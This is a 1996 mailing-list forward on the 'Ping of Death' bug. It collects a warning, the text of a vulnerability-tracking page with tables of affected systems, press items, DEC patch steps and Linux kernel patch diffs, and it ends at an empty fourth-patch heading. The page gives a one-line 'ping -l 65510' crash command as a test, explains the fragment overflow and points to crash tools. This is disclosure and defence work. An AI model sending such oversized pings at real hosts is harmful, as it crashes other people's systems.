Ping of Death (fwd)
Greg Hankins
greg.hankins at cc.gatech.edu
Fri Dec 13 18:47:11 EST 1996
[Bob, the list filter caught this because it was too long. I think it's worth
forwarding though... -- Greg ]
Please be sure that no one is looking over your shoulder when you read this.
Please keep it out of the wrong hands.
This email is regarding an extremely serious and common bug among all manner
of devices connected to Ethernets, WANs, and the Internet, including many
common UNIX implementations, including DEC Alphas, HP, SCO, SGI, and Linux,
as well as, routers, printers, etc.
It is known as "Ping of Death".
This allows anyone on a network, such as a company Ethernet/WAN, or possibly
the Internet, using a PC running common versions of the Evil Gates Windoze 95
to instantly CRASH these devices, including crashing UNIX systems.
This is NOT a joke!
*****
I urge you to limit distribution of this information to a need-to-know basis
and to not post it on newsgroups or bulletin boards, especially until
Sys Admins can install patches to fix this problem.
At my client we have many such PCs and we proved that our DEC Alphas
running Digital UNIX do have this bug. Some of our routers and printers
also have this bug.
There are patches available for many of these platforms, including DEC Alphas
and Linux. The Linux patch was available a mere four hours after the problem
was reported. (This problem caused error messages on our Linux box when it
was idling but did not seem to crash it. More intense tests are planned.)
How to tell if your [DEC Alpha Digital UNIX] machine has been crashed by the
Ping o'Death:
# cd /var/adm/crash
# egrep 'icmp_send|icmp_reflect' crash-data.
... from the Home Page. We did see these at my client when reproducing this
problem.
*****
Bob Toxen
bob at cavu.com
transam at cavu.com [ALE]
http://www.mindspring.com/~cavu
Fly-By-Day Consulting, Inc.
"Venimus, Vidimus, Dolavimus" (We came, we saw, we hacked)
==================== Forwarded Email Follows =======================
Subject: * THE PING OF DEATH
Date: 18-Nov-1996
You may want to be careful in playing with win 95 /NT features when
connected to the Internet. You may inadvertantly crash a UNIX host
somewhere since Win 95 can do some things that are illegal with PING.
Below is quoted from a NT system newsletter I get.
* THE PING OF DEATH
The Problem (found at http://www.sophist.demon.co.uk/ping/)
In a nutshell, it is possible to crash, reboot or otherwise kill
a large number of systems by sending a ping of a certain size from
a remote machine. This is a serious problem, mainly because this can
be reproduced very easily, and from a remote machine. (During tests,
my machine in London, England has been crashed from a machine in
Berkeley, California), and because the attacker needs to know nothing
about the machine other than its IP address. Be afraid. Since I
started this page on the 21st October, over 18 major operating
systems have been found vulnerable.
It's very easy to exploit - basically, some systems don't like
being pinged with a packet greater than 65536 bytes (as opposed
to the default 64 bytes). This bug is not limited to UNIX, but is
popping up on Macs, Netware, Printers, Routers... the list goes on.
Patches are coming out extremely fast - the award goes to the Linux
community for rolling out a patch within 4 hours of being notified
of the problem.
An IP datagram of 65536 bytes is illegal, but possible to create
owing to the way the packet is fragmented (broken into chunks for
transmission). When the fragments are reassembled at the other end
into a complete packet, it overflows the buffer on some systems,
causing (variously) a reboot, panic, hang, and sometimes even
having no effect at all...
Most implementations of ping won't allow an invalid datagram like
this to be sent. Among the exceptions are Windows '95 and NT,
although they are certainly not the only ones...
Unfortunately, this bug is really easy to exploit. Users are
already trying it out "just to see if it worked". So, to test
if your machine is in danger, find a Windows '95 or NT box
(3.51 or 4), and run the following command:
ping -l 65510 your.host.ip.address
The message on the '95 box will be "Request Timed Out".
This means that the ping wasn't answered, either because the
machine is ignoring you (and rightly so if you're going to
send it invalid packets), or because it's dead. It's that simple...
---
It is interesting that NT is immune to this error or attack but most UNIX
machines will die a quick death! I hope BellSouth has patched all their
machines to avoid this problem. The constant disconnects from their flaky
modems is bad enough IMHO.
--
Victor Healey Ki4je
Marietta Ga.
***** Bob: what follows are excerpts from http://www.sophist.demon.co.uk/ping/
========== Text of http://www.sophist.demon.co.uk/ping/ =============
The Ping o' Death Page
How to crash your operating system!
-------------------------------------------------------------------------------
Maintained by Mike Bremford, last updated 18-11-96, 1830GMT
Please mail me with any updates, corrections or new information, being sure to
include the word "ping" in the subject line.
-------------------------------------------------------------------------------
List of mirror sites
-------------------------------------------------------------------------------
Well, sorry folks. Although someone has had troubles with Firewall-1, it
doesn't look like we can pin it on the firewall (that's what happens when you
only get half the picture). Those of you who are curious, please check out the
Firewall-1 page to get the latest, not quite so sensational news. Apologies to
those that have been stung by this.
-------------------------------------------------------------------------------
OK, rumour has it some people want to see what's been updated rather than
rechecking the whole list each time. Fair enough. My daily diary of whats
latest and greatest can be found here.
-------------------------------------------------------------------------------
Help! We made PC-WEEK and MacInTouch. If you thought the site was slow before,
it's going to die like a dog now - I'm getting 1000 hits an hour, and I haven't
even got any dirty pictures :-). We've got 3 US mirrors now so thats probably
enough there, but if anyone else wants a copy (I remember some slow connections
from my native NZ) give a yell - especially if you can automagically mirror.
-------------------------------------------------------------------------------
1. The Problem
In a nutshell, it is possible to crash, reboot or otherwise kill a large number
of systems by sending a ping of a certain size from a remote machine. This is a
serious problem, mainly because this can be reproduced very easily, and from a
remote machine. (During tests, my machine in London, England has been crashed
from a machine in Berkely, California), and because the attacker needs to know
nothing about the machine other than its IP address. Be afraid. Since I started
this page on the 21st October, over 18 major operating systems have been found
vulnerable.
It's very easy to exploit - basically, some systems don't like being pinged
with a packet greater than 65536 bytes (as opposed to the default 64 bytes).
This bug is not limited to Unix, but is popping up on Macs, Netware, Printers,
Routers... the list goes on. Patches are coming out extremely fast - the award
goes to the Linux community for rolling out a patch within 4 hours of being
notified of the problem.
An IP datagram of 65536 bytes is illegal, but possible to create owing to the
way the packet is fragmented (broken into chunks for transmission). When the
fragments are reassembled at the other end into a complete packet, it overflows
the buffer on some systems, causing (variously) a reboot, panic, hang, and
sometimes even having no effect at all...
Most implementations of ping won't allow an invalid datagram like this to be
sent. Among the exceptions are Windows '95 and NT, although they are certainly
not the only ones...
1.1 A far better explanation of the problem
Thanks to Paul Gortmaker we now have a decent explanation of why this is
happening
Background Information on ICMP ECHO ("ping"):
IP packets as per RFC-791 can be up to 65,535 (2^16-1) octets long, which
includes the header length (typically 20 octets if no IP options are
specified). Packets that are bigger than the maximum size the underlyling layer
can handle (the MTU) are fragmented into smaller packets, which are then
reassembled by the receiver. For ethernet style devices, the MTU is typically
1500.
An ICMP ECHO request "lives" inside the IP packet, consisting of eight octets
of ICMP header information (RFC-792) followed by the number of data octets in
the "ping" request. Hence the maximum allowable size of the data area is 65535
- 20 - 8 = 65507 octets.
What causes my machine to crash from this?
Note that it is possible to send an illegal echo packet with more than 65507
octets of data due to the way the fragmentation is performed. The fragmentation
relies on an offset value in each fragment to determine where the individual
fragment goes upon reassembly. Thus on the last fragment, it is possible to
combine a valid offset with a suitable fragment size such that (offset + size)
> 65535. Since typical machines don't process the packet until they have all
fragments and have tried to reassemble it, there is the possibility for
overflow of 16 bit internal variables, which can lead to system crashes,
reboots, kernel dumps and the like.
1.2 Another twist...
With all this talk of ping, it's easy to miss the root of the problem. Joel
Maslak has pointed out that this exploit is by no means restricted to ping. The
problem can be exploited by anything that sends an IP datagram - probably the
most fundamental building block of the net. Not only ICMP echo, but TCP, UDP
and (apparently) even new style IPX can be used to hit machines where it hurts.
Bottom line is that blocking ping at the firewall is a temporary fix only. The
only solution is to secure the kernel against overflow when reconstructing IP
fragments. (To the best of my knowledge, all of the patches currently available
fix the problem). So don't think you're safe just because you've blocked ping.
Damage could be done through NFS, telnet, http... in short, any port your
machine listens on is a target (and maybe even those you don't listen on...
anyone?)
2. How to test if you're vulnerable
Unfortunately, this bug is really easy to exploit. Users are already trying it
out "just to see if it worked". So, to test if your machine is in danger, find
a Windows '95 or NT box (3.51 or 4), and run the following command:
ping -l 65510 your.host.ip.address
The message on the '95 box will be "Request Timed Out". This means that the
ping wasn't answered, either because the machine is ignoring you (and rightly
so if you're going to send it invalid packets), or because it's dead. It's that
simple...
* Now, courtesy Bill Fenner, those of us without access to '95 or NT can
crash machines too - go here for the source code to an evil implementation
of ping.
* Apparently, according to Volker Ossenkopf, the ping command on Linux can
be rebuilt with a higher package size limit in the ping source, and used
to whack machines too. Remember, Linux Ping must be run as root. Note -
I've tried this and can't make it work... Volker did it with Kernel
1.3.84, so maybe things have changed since then
* I've also been given a pointer by Darren Reed to this package, which is
"a generic tool for testing the robustness of IP stacks. It includes tests
which try to exploit many different problems." It sounds like it would
probably identify this ping problem, plus any others lurking in your
networking code.
* If you're having trouble reproducing this, try loading the machine up.
Although it's hard to tell, it seems that a nearly idle machine is more
likely to withstand the "Ping O'Death" than one which is
busy/swapping/otherwise earning it's living. This is possibly due to a
memory overflow being more likely to hit something important if the
machine is busy... also, I've been told the maximum size packet from
Windows '95 is 65527, which is 20 bytes over the legal limit. This may
produce more spectacular results than a 65510 ping.
* And as an aside... from Nick Bastin...
Unfortunately, while Irix 6.2 has been patched to keep the 64k ping crash
from occuring on it's servers, it now has the ability to send such a ping,
even as a flood...apparently this was some kind of retribution from the
programmers so that owners of Irix 5.3 could kill the people that killed
them...<g>
3. How to prevent people from breaking your system
If no patch is available, and your main concern are pings from users outside
your network, it would seem the best quick-fix solution is to block ping at the
firewall. This is not a long-term solution. If you have *any* services
listening on any ports at all, they are vulnerable. Be assured that sooner or
later someone will come out with a program which sends invalid packets to a web
server, an ftp port. The only solution is to patch your operating system.
By blocking ping, you prevent people from pinging you at all. This could
possibly break some things that rely on ping - I believe that DEC ObjectBroker
uses ping to confirm a connection is still up. Other packages may go too.
A better solution than blocking all pings is to block only fragmented pings.
This will allow your common-or-garden 64 byte ping through on almost all
systems, while blocking any bigger than the MTU size of your link. (This
varies, but about 1k is a good bet).
* Thanks to Alastair Young, we have some information on how to block the
evil ping using Firewall-1. Follow this link for details. (That is
assuming that your firewall is not vulnerable... )
4. The affected systems
This is very much a work in progress. Please, any additional information you
come by mail me so I can update this page. Please include the word "ping" in
the subject line
4.1. Vulnerable operating systems without patches
This includes systems which I haved mixed reports on
Operating
system Version Symptoms Comments
No fix yet, although Sun have no
reproduced this and are working on a
fix. (The bug ID, if you want to.. er..
Solaris (x86) 2.4, 2.5, Reboot bug Sun about it, is BUGID# 1226653
2.5.1
(changed!). Patches will be available
for 2.4, 2.5 and 2.5.1, and 2.6 will be
immune (when it comes out)
1.7.4 and
Minix probably Crash No fix yet
others
HP3000 MPE/iX 4.0, 5.0, System The exact message was "System abort
5.5 abort 3890 from subsys 201".
Convex OS All Crash Convex are working on a patch
versions
Convex SPP-UX All Crash No fix yet
versions
This is suspected to be vulnerable,
AOS ? ? based on its BSD 4.3 heritage. However,
only one person has been able to crash
it yet, using a 32768 byte packet
KA9Q OS ? Crash No fix yet
Next have tested this, follow the link
NEXTSTEP various Platform for more info. The vulnerability is to
dependant
a 32768 byte packet
Apple Mac MacOs Crash See the Mac page for details
7.x.x
Windows 3.11 One person has had no problems, another
with Trumpet ? Mixed two get network errors and lose the
Winsock reports network connection - the machine had to
be rebooted to restore it
Windows 3.11
with FTP
software PCTCP,
Chameleon NFS
5.4, Digital - Hangs No fix...
Pathworks stack
6.0.034 and
LINK TCP stack
MSDOS with Lan
Workplace ? Crash No fix yet
Ranging from crash to no effect. 3.11
Novell Netware 3.x Mixed with TCPIP.NLM v1.01 hangs the IP stack
results (IPX/SPX stack is OK), while 3.12 with
TCPIP.NLM v2.02 rev 9 is unaffected.
Unisys have informed me that this
TCP/IP pre problem is corrected in the 32.4 and
Unisys A series 32.4 Crash higher A series TCP/IP product. I'm
release assuming that an upgrade will correct
it
MkLinux ? Crash I am unsure if the Linux patches can be
applied here
SCO Openserver 4.2, 5.0 Mixed One person has an instant crash,
reports another few have had no problems.
Well, some may accuse me of
scaremongering, but I've been mailed a
lovely little batch file by Mark Rejhon
that I have been told will crash NT4
fairly reliably. Marks just sent me a
new script with better "documentation",
Windows NT 4.0 Crrrash and has informed me that the problem
appears to be with sending the pings -
as is the case with NT 3.51, NT 4.0
seems to be happier on the receiving
end of the ping of death. Either way,
its a bug, but unless your machine
turns suicidal NT owners have less to
worry about (it would seem).
Some very mixed results, ranging from a
large number of "no effect" to "locks
up for twenty seconds" to "crash". This
*could* be a patch level thing - over
30 systems have been tested so far with
Irix 5.3 Mixed 8 crashes, and if it crashes or not it
results seems it will do it fairly
consistently. This also effects Irix
running on Onyx Challenge
supercomputers, and apparently SGI say
there is no patch available at the
moment for this model.
OK, it's not a crash. But (as it has
been pointed out to me) if you lose a
couple of thousand users who are
connected via TCP/IP, that's not safe.
For the D20 and C30 machines (I don't
know about the D42), sending a ping
between 32553 bytes and 32739 bytes
kills the TCP/IP process. Pings up to
Tandem NSK C30, D20, Loses 32759 bytes leave the TCP/IP process
D42 TCP/IP
running, but unable to function.
Greater than 32760 bytes are ignored.
Tandem have tested the D30 and D33 and
found them safe, but then they also
found these versions were safe too,
although the same person that crashed
the C30 and D20 found the D30
unaffected.
4.2. Vulnerable operating systems with patches
now, which fixes this problem
Operating system Version Symptoms Comments
Patch Available! The patch for 3.2.5
AIX 3 and 4 Operating has been around for a while, so it
system dump. may already be applied to your
system.
Spontaneous Patch available!, and supplied here.
Linux <= reboot or Kernel 2.0.24 is out, which fixes
2.0.23
kernel panic this. Upgrade now!
Linux 1.2.13 Reboot, Hang Patch available!, although this one
or No effect hasn't been tested. Supplied here
DEC Unix/OSF1 2.0 and Kernel Panic Patch available! and supplied here
above
Patch really is available!, as of
OpenVMS on alpha various Mixed reports 15th November (so I've been told).
Follow the yellow brick link
Crash, Patch available!, follow the link...
HP-UX 9.0 to Reboot, (it works too...). See also CIAC F-04
10.20 for the same information, just
Hang...
officially
The latest word is Microsoft have
acknowledged the problem and have
released a patch (it seems that
sending a bad ping can make NT do
Windows NT 3.5.1 Mixed results some funny things!). Some info just
in is that if you do as M*soft says
(ping -l 65510 -s 1 ip.address) you
can crash NT 3.51. So maybe it is
vulnerable after all.
Yup, this has been fixed too. Patches
Galacticomm available for v1 and v2, with version
Worldgroup General v3 being ping proof. Follow the ol'
BBS/Terminal 1.0, 2.0 Protection hyperlink for the scoop. Note that
Server Fault this problem only affects the
Galacticomm TCP/IP stack - the Vircom
MajorTCP/IP stack is not vulnerable
4.3. Operating systems which just possibly could be vulnerable
This is for systems where only one or two people have had trouble
Operating
system Version Symptoms Comments
One person has managed to crash this, another
two have not, and another has not only failed
NetBSD x86, 1.1, Mixed to reproduce this, but has checked the source
VAX 1.1a reports code and is certain it can't be done! It
sounds like the crash was an isolated
incident
Apple I am unsure of this. I've been told that ANS
Network ? Crash is based on AIX 4.1.4, which is vulnerable.
Server The AIX patches supposedly can be applied,
but I've had two reports that it's fine
4.4. Safe operating systems
Operating system Version
Ultrix 4.2a, 4.4, 4.5
Solaris (Sparc) 2.3, 2.4, 2.5, 2.5.1
MVS Mainframe with TCP/IP stack from Interlink 3.1, 4.1
MVS Mainframe with TCP/IP stack from IBM 3.1, 3.2
Free-BSD 2.0, 2.0.5, 2.1.0, 2.1.5
BSDI/OS 2.01, 2.1
SCO OpenDesktop 3.2
DRS/NX (sparc) 7MPlus.9.8
UnixWare 1.0, 1.1, 2.1
SunOS 4.1.x
Olivetti SVR4 2.4.1
NCR Worldmark running MP-RAS SVR4 2.02, 2.03, 3.0
DG/UX 4.11, 5.4
Irix 6.2
LynxOS 2.3.0
Windows 3.11 with Novell Client-32 / Cisco TCP/IP /
MultiNet / WRQ / NCSA / Pathway / MS TCP-32 stack ?
Windows '95 ?
OS/2 2.11, 3, 4
Banyan VINES 6.30, 7.0
OpenVMS on VAX ?
Unisys U2200, U6000 SVR4 1.4, 1.4.1
OS/400 V3R1
Novell Netware 4.1
BeOS DR8 network server ?
Cray C94, M92 Unicos 9.0.2.0, roo.21
and roo.8
IPR (PC-based router) 0.954
MS-DOS w/ Clarkson Telnet ?
VM Mainframe IBM TCP/IP for VM v2.2
Apple A/UX 3.0.2
Sequent Dynix/ptx 4.2
Interactive Systems ISC 3.0
Bell Plan 9 all, presumably
4.5. Vulnerable firmware
System Version Symptoms Comments
Two people have had no trouble.
Ascend Pipeline 130 Mixed Another two have caused a reboot.
Router 4.6Ci12 results This reportedly crashed while
routing packets, not being pinged
(pung?) itself!!
One person has had problems with
Ascend P50 Router ? Reboot this. Ascend have tested it in
their labs and found no problems,
and others back this up
Atlantic Powerhub When given a broadcast ping of
(router/bridge) ? Reboot 30000 or greater
Crashes with "80 Service (01E0)" -
HP Laserjet III, IV ? Crash It has to be physically turned off
and on again.
An improvement over the Laserjet
III - It prints a diagnostic sheet
first, then it dies. Note one
HP Laserjet V ? Crashes person with JetDirect firmware
version A.04.09 reported only a
lockup for 20 seconds or so, not a
crash.
Sun X Terminals ? Panic A packet of 50000 bytes will set
this off
NCD X Terminals 3.3.2, 4.0 Panic A packet of 32750 bytes will set
this off
No fix yet, although someone can't
HDS Viewstations ? Crash reproduce with HDS code v3.0.4,
and HDSware/Server code v3.0.1
Tek have informed me that most
Tektronix Lapse of versions of their X-Terminals will
X-Terminal ? reason lock up for 30 seconds or so on
reciept of the Ping of Death, but
will then come back to life
ACC have tested this and found it
ACC Danube router ? Reboots safe, but at least one person
disagrees. Anyone else have this
problem?
No fix yet. Anyone with one of
Bay Networks Access firmware these can find out the firmware
Node Routers 9.2, 10.0, Reboots version by issuing the command
10.1, 11.0 'get system.sysDescr' in the
Backbone Technician Interface
Well, not exactly. It stops
responding to TCP/IP traffic for 5
Microcom HDMS Momentary minutes or so, and then seems to
chassis with INC ? lapse of recover by itself. 5 minutes seems
reason
long enough to list it as
vulnerable.
Livingston ORU
ISDN-Ethernet 3.4.2Lc1 Hangs A disconnect and a reconnect will
router remedy this
Only two reports on the 4000. One
guy had no problems, another has
Cisco 4000 ? Crash trouble about 70% of the time. The
more heavily loaded it is, the
higher the chance of a crash
Netblazer LS 2PT ? Reboot No fix yet
4.6. Vulnerable firmware with patches
System Version Symptoms Comments
NetBlazer 40i3.2 Lockup Locks up completely, have to hard-reset.
Emergency patch available!
4.7. Safe firmware
System Version
Ascend Max 4000 ?
NetBlazer SP 3.0 patch 9
NetBlazer Classic 2.3 patch 13
3Comm Lanplex & accessbuilder ?
3Comm Linkbuilder FMS/II Flash 3.11, Prom 1.01
Cisco Terminal Server ?
Xyplex TS/720 V6.0.1S41, Rom 460003
Cisco 7500, 2501, 2503, AGS+ ?
ELSA LANCOM Multiprotocol router ?
Livingston IRX, Portmaster ComOS 3.2.1R
IBM6611 router ?
Retix 7000 router ?
Shiva FastPath V KStart code version 9.2
AXIS NPS 550 Print server ?
HP J2410 intelli hub ?
Securicor 3Net model 2431, firmware 7.2.01
Digital DECnis router 600 3.1.6
ACC Colorado 8.3.3
ACC Amazon 10.0
ACC Tahoe 7.3
Digital DEClaser 3500, 5100 printer Ethernet
card v01.38, v03.05
Digital DECconcentrator 900MX FDDI
concentrator v3.1.1
Digital RouteAbout EW/MP brouter v1.1.005
Digital DECbrouter 90 10.2(5)
Digital DECrepeater 90TM 2.0.0
Digital DECswitch 900EF 1.5.2
Digital DECbridge 900MX 1.5.2
Digital DECserver 300, 700 V2.2 BL44-3, V1.1 BL44-1
Nexland 10T(12/24) 12/24-port SNMD-managed hub 1.20
ACS 4105 remote bridge 2.0
Xerox docuprint 4571 XNIC ethernet card v4.14,
4.14N3
Wellfleet routers various
Morningstar router v1.6
Xylogics Terminal Server ?
-------------------------------------------------------------------------------
Most of the information on this page was supplied by other people - but the
list was getting so long the page was taking all week to load. So they're now
listed in the Credits page. Thanks all!
-------------------------------------------------------------------------------
[It's only a counter.] hits since midday, 6th November 1996.
========== Text of PC World article =============
[Image] [Microsoft Office 97.]
[Image]
[Image]
November 12, 1996 1:45 PM ET
'Ping of Death' security flaw discovered
By Norvin Leach
A large number of operating systems and network
firmware may be vulnerable to a newly
discovered TCP/IP flaw called the "Ping of
Death," which overloads and crashes a system by
sending excessively large packets.
Information on the flaw can be found at
http://www.sophist.demon.co.uk/ping/.
According to the posting, most of the affected
systems are Unix-based, although Windows NT
3.51 users have reported problems, as have
users of NetWare 3.x.
Hewlett-Packard Co. has posted a patch for
certain versions of HP-UX. Other companies,
including SunSoft Inc., are working on patches
for affected versions of their operating
systems.
Patches are also available for AIX, Linux,
Digital Unix and OpenVMS.
[Image]
Copyright(c) 1996 Ziff-Davis Publishing
Company. All rights reserved. Reproduction in
whole or in part in any form or medium without
express written permission of Ziff-Davis
Publishing Company is prohibited. PC Week and
the PC Week logo are trademarks of Ziff-Davis
Publishing Company. PC Week Online and the PC
Week Online logo are trademarks of Ziff-Davis
Publishing Company.
Send mail to PC Week
========== Text of Washington Post article =============
DIGITAL FLUBS
Monday, November 18 1996; Page F17
The Washington Post
A bug in some versions of an Internet data
transmission called "ping" has been found to crash
computers elsewhere on the Net.
A ping is how one computer can determine another is
running. Usually pings involve a tiny amount of
data, making them like a gentle tap on the shoulder.
A ping of more than 65,500 bytes, for example, is
like greeting someone with a sledgehammer.
Some ping programs, including those shipped with
Windows 95 and NT, will break a big ping into
smaller pieces. When the receiving machine
reassembles the large ping, it may crash. Solutions
are being studied.
Two Web pages discuss the problem
(http://www.sophist.demon.co.uk/ping/ and
http://flatline. gate\way.com/ping/).
) Copyright 1996 The Washington Post Company
Back to the top
-------------------------------------------------------------------------------
[Image]
[Home Page, Site Index, Search, Help]
========== Text of DEC OSF patch header =============
Information for DEC Unix / OSF1
A patch for DEC Unix is now available for all versions from 2.0 to 4.0a. The
files are available here , and are called version_ping_fix.tar. Note the
patches mirrored here just fix the basic ping problem - there are some other
patches at DECs site which fix this, plus some others too. For more info, see
their site.
The patches for V3.2c, 3.2d-1, 3.2d-2, 3.2e-1 and 3.2e-2 were incorrect, and
fixed just after I downloaded them from DEC. The new versions are here now, and
should apply properly
*** Bob: it took several hours to download the patch due to bandwidth
*** problems. It can be FTP'd from DEC. Go to the following and then
*** click on the appropriate version of the OS that you have. We have
*** 3.2D-1 in Atlanta:
***
*** ftp://atlanta.service.digital.com/pub/mandatory_upgrades/AXP/OSF1/
***
*** DEC Customer support recommends doing the "other" non-ping patch and then
*** doing the "plus" patch.
Thanks to the 15 or so people that let me know the patches were out - sorry I
didn't list you all, but I'd spend all day updating this page if I did...
How to tell if you machine has been crashed by the Ping o'Death
# cd /var/adm/crash
# egrep 'icmp_send|icmp_reflect' crash-data.
This one from Alan Davis
-------------------------------------------------------------------------------
And now... a word from DEC on installing these patches.
To apply the updated o-files, .c and .h files, do the following:
- Please place a copy of this README.patch_id into a directory called
/etc/patches for future reference on what patches are installed on this
machine as these patches will have to be removed before upgrading to
a newer version.
- For Digital UNIX V4.0 binary files, please refer to the patch README and
Appendix B for special installation instructions.
- For OSF V3.2g and below, please follow the below instructions and any
other special instructions in the patch README.
- make a backup copy of the existing /sys/BINARY/o-files.
if .o files are included.
- make a backup copy of the existing .h file(s) as indicated in
list of files if .h file(s) are included.
- make a backup copy of the existing .c file(s) as indicated in
list of files if .c file(s) are included.
- copy all the o-file(s) to the host machine's /sys/BINARY/
directory.
- copy all the .h file(s) to the appropriate directory.
- copy all the .c file(s) to the appropriate directory.
- rebuild the host machine's kernel using doconfig (-c $HOSTNAME).
- copy the new kernel from /sys/$HOSTNAME/vmunix to /vmunix
- reboot the host machine
Checksums (produced by the "sum" command) are listed below.
(Notice - The sum for the README file may not match.)
-------------------------------------------------------------------------------
Download patch for v2.0 here
Download patch for v2.0b here
Download patch for v2.1 here
Download patch for v2.1b here
Download patch for v3.0 here
Download patch for v3.0b here
Download patch for v3.2 here
Download patch for v3.2a here
Download patch for v3.2b here
Download patch for v3.2c here
Download patch for v3.2d-1 here
Download patch for v3.2d-2 here
Download patch for v3.2e-1 here
Download patch for v3.2e-2 here
Download patch for v3.2f here
Download patch for v3.2g here
Download patch for v4.0 here
Download patch for v4.0a here
========== Text of Linux patch versions =============
A new stable kernel has been released (2.0.24). This fixes the ping problem,
and it's a good idea to upgrade to that, rather than applying any patches you
find here
-------------------------------------------------------------------------------
Patches for Linux prevent the Ping Problem
The following are three patches which can be applied against Linux to prevent
the Invalid Ping problem. Either patch is to be applied against
linux/net/ipv4/ip_fragment.c, and should apply cleanly against any 2.0.x or
2.1.x series kernel.
* The original patch, contributed by Alan Cox will stop the problem.
* The slightly modified patch by Jon Lewis will also leave a message in your
system log file letting you know who tried to crash you.
* A new, improved patch by Alan, this one will fix a few other related bugs,
but will probably break any modules that have already been compiled.
Recompile your modules after applying this patch and you should hopefully
be alright.
Thanks to both of these two, especially Alan, for fixing this so quickly.
-------------------------------------------------------------------------------
Here is a newer patch for Linux 1.2.13.
I've been given a patch from Gilles Detillieux which is supposed to work.My
mailer trashes many things, so it's possible the tabs have been converted to
spaces or whatever. Tinker with it till it works.
-------------------------------------------------------------------------------
These patches have been copied from their original site, which is here
========== Text of Linux patch #1 =============
--- ip_fragment.c.old Mon Sep 16 22:14:52 1996
+++ ip_fragment.c Sat Oct 19 01:04:47 1996
@@ -366,7 +366,7 @@
{
NETDEBUG(printk("Invalid fragment list: Fragment over size.\n"));
ip_free(qp);
- frag_kfree_skb(skb,FREE_WRITE);
+ kfree_skb(skb,FREE_WRITE);
ip_statistics.IpReasmFails++;
return NULL;
}
@@ -466,6 +466,18 @@
return NULL;
}
}
+
+ /*
+ * Attempt to construct an oversize packet.
+ */
+
+ if(ntohs(iph->tot_len)+(int)offset>65535)
+ {
+ skb->sk = NULL;
+ frag_kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ return NULL;
+ }
/*
* Determine the position of this fragment.
========== Text of Linux patch #2 =============
--- ip_fragment.c.orig Wed Aug 7 07:00:08 1996
+++ ip_fragment.c Sat Oct 19 20:33:42 1996
@@ -47,6 +47,8 @@
atomic_t ip_frag_mem = 0; /* Memory used for fragments */
+char *in_ntoa(unsigned long in);
+
/*
* Memory Tracking Functions
*/
@@ -366,7 +368,7 @@
{
NETDEBUG(printk("Invalid fragment list: Fragment over
size.\n"));
ip_free(qp);
- frag_kfree_skb(skb,FREE_WRITE);
+ kfree_skb(skb,FREE_WRITE);
ip_statistics.IpReasmFails++;
return NULL;
}
@@ -466,6 +468,19 @@
return NULL;
}
}
+
+ /*
+ * Attempt to construct an oversize packet.
+ */
+
+ if(ntohs(iph->tot_len)+(int)offset>65535)
+ {
+ skb->sk = NULL;
+ printk("Oversized packet received from
%s\n",in_ntoa(qp->iph->saddr));
+ frag_kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ return NULL;
+ }
/*
* Determine the position of this fragment.
========== Text of Linux patch #3 =============
diff --unified --recursive --new-file --exclude-from exclude linux.vanilla/include/linux/skbuff.h linux/include/linux/skbuff.h
--- linux.vanilla/include/linux/skbuff.h Tue Oct 8 17:43:35 1996
+++ linux/include/linux/skbuff.h Tue Oct 22 12:46:04 1996
@@ -102,7 +102,7 @@
#define PACKET_OTHERHOST 3 /* To someone else */
unsigned short users; /* User count - see datagram.c,tcp.c */
unsigned short protocol; /* Packet protocol from driver. */
- unsigned short truesize; /* Buffer size */
+ __u32 truesize; /* Buffer size */
atomic_t count; /* reference count */
struct sk_buff *data_skb; /* Link to the actual data skb */
diff --unified --recursive --new-file --exclude-from exclude linux.vanilla/include/net/sock.h linux/include/net/sock.h
--- linux.vanilla/include/net/sock.h Tue Oct 8 17:45:32 1996
+++ linux/include/net/sock.h Tue Oct 22 12:48:06 1996
@@ -216,7 +216,7 @@
volatile unsigned long ato; /* ack timeout */
volatile unsigned long lrcvtime; /* jiffies at last data rcv */
volatile unsigned long idletime; /* jiffies at last rcv */
- unsigned short bytes_rcv;
+ __u32 bytes_rcv;
/*
* mss is min(mtu, max_window)
*/
@@ -251,8 +251,8 @@
unsigned char max_ack_backlog;
unsigned char priority;
unsigned char debug;
- unsigned short rcvbuf;
- unsigned short sndbuf;
+ __u32 rcvbuf;
+ __u32 sndbuf;
unsigned short type;
unsigned char localroute; /* Route locally only */
#ifdef CONFIG_AX25
diff --unified --recursive --new-file --exclude-from exclude linux.vanilla/net/ipv4/icmp.c linux/net/ipv4/icmp.c
--- linux.vanilla/net/ipv4/icmp.c Sun Oct 6 15:42:09 1996
+++ linux/net/ipv4/icmp.c Tue Oct 22 12:45:41 1996
@@ -1031,6 +1031,14 @@
#endif
icmp_statistics.IcmpInMsgs++;
+ if(len < sizeof(struct icmphdr))
+ {
+ icmp_statistics.IcmpInErrors++;
+ printk(KERN_INFO "ICMP: runt packet\n");
+ kfree_skb(skb, FREE_READ);
+ return 0;
+ }
+
/*
* Validate the packet
*/
diff --unified --recursive --new-file --exclude-from exclude linux.vanilla/net/ipv4/ip_fragment.c linux/net/ipv4/ip_fragment.c
--- linux.vanilla/net/ipv4/ip_fragment.c Sat Aug 10 08:03:16 1996
+++ linux/net/ipv4/ip_fragment.c Tue Oct 22 12:27:07 1996
@@ -24,6 +24,7 @@
#include <net/icmp.h>
#include <linux/tcp.h>
#include <linux/udp.h>
+#include <linux/inet.h>
#include <linux/firewall.h>
#include <linux/ip_fw.h>
#include <net/checksum.h>
@@ -337,7 +338,15 @@
* Allocate a new buffer for the datagram.
*/
len = qp->ihlen + qp->len;
-
+
+ if(len>65535)
+ {
+ printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr));
+ ip_statistics.IpReasmFails++;
+ ip_free(qp);
+ return NULL;
+ }
+
if ((skb = dev_alloc_skb(len)) == NULL)
{
ip_statistics.IpReasmFails++;
@@ -366,7 +375,7 @@
{
NETDEBUG(printk("Invalid fragment list: Fragment over size.\n"));
ip_free(qp);
- frag_kfree_skb(skb,FREE_WRITE);
+ kfree_skb(skb,FREE_WRITE);
ip_statistics.IpReasmFails++;
return NULL;
}
@@ -424,7 +433,7 @@
if (((flags & IP_MF) == 0) && (offset == 0))
{
if (qp != NULL)
- ip_free(qp); /* Huh? How could this exist?? */
+ ip_free(qp); /* Fragmented frame replaced by full unfragmented copy */
return(skb);
}
@@ -461,7 +470,7 @@
if ((qp = ip_create(skb, iph, dev)) == NULL)
{
skb->sk = NULL;
- frag_kfree_skb(skb, FREE_READ);
+ kfree_skb(skb, FREE_READ);
ip_statistics.IpReasmFails++;
return NULL;
}
========== Text of Linux patch #4 =============
